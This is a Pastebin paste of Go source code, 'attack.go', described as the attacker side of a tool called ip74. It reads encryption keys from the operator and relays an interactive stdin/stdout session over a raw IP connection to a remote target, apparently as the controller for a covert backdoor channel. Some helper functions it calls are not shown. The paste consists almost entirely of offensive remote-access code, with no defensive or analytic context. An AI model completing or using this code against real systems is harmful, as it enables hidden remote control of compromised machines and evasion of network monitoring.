Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- /*
- * attack.go
- * Attacker side of ip74
- * By J. Stuart McMurray
- * Created 2016022
- * Last Modified 2016022
- */
- import (
- "bufio"
- "fmt"
- "io"
- "log"
- "net"
- "os"
- )
- /* attack proxies stdio to the remote end connected to c. */
- func attack(c *net.IPConn) {
- /* Get attack keys */
- skey, rkey := readAttackKeys()
- log.Printf("Ready to attack! %v <-> %v", c.LocalAddr(), c.RemoteAddr())
- /* Read data from stdin, pass to target */
- ec := make(chan error)
- go send(c, os.Stdin, skey, ec)
- go recv(os.Stdout, c, rkey, ec)
- /* Wait for something to go wrong */
- err := <-ec
- if nil == err || io.EOF == err {
- return
- }
- log.Fatalf("Error: %v", err)
- }
- /* readAttackKeys prompts for and reads keys from stdin. It will exit the
- program with a call to log.Fatalf if the keys cannot be read or if either of
- the keys is the wrong length. */
- func readAttackKeys() (send, recv [KEYLEN]byte) {
- r := bufio.NewReader(os.Stdin)
- /* Get send key */
- fmt.Fprintf(os.Stderr, "32-byte send (encryption) key: ")
- send = getKey(r)
- fmt.Fprintf(os.Stderr, "32-byte receive (decryption) key: ")
- recv = getKey(r)
- return
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement